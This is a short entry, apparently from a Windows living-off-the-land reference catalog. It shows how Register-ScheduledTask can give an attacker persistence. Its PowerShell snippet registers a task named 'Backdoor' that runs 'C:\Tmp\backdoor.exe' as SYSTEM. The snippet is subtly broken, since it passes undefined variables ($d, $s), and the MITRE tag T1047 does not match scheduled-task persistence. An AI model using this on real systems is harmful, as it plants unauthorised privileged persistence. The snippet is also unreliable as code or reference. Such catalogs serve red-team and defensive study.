.. / Register-ScheduledTask

Registers a scheduled task definition on a local computer


Functions:
Type:
Toolsets:

Execute

Create new scheduled task

$a = New-ScheduledTaskAction -Execute "C:\Tmp\backdoor.exe" -Argument '-background'
$p = New-ScheduledTaskPrincipal -UserId "NT Authority\SYSTEM"
$ss = New-ScheduledTaskSettingsSet -MultipleInstances Parallel -AllowStartIfOnBatteries -Compatibility Win8
New-ScheduledTask -CimSession $s -Action $a -Principal $p -Settings $ss
$t = Register-ScheduledTask -CimSession $s Backdoor -InputObject $d
Usecase
Persistence

Comments
Mitre Att&ck
T1047




Updated: 2023-07-01
Contributor: Arris Huijgen (bitsadmin)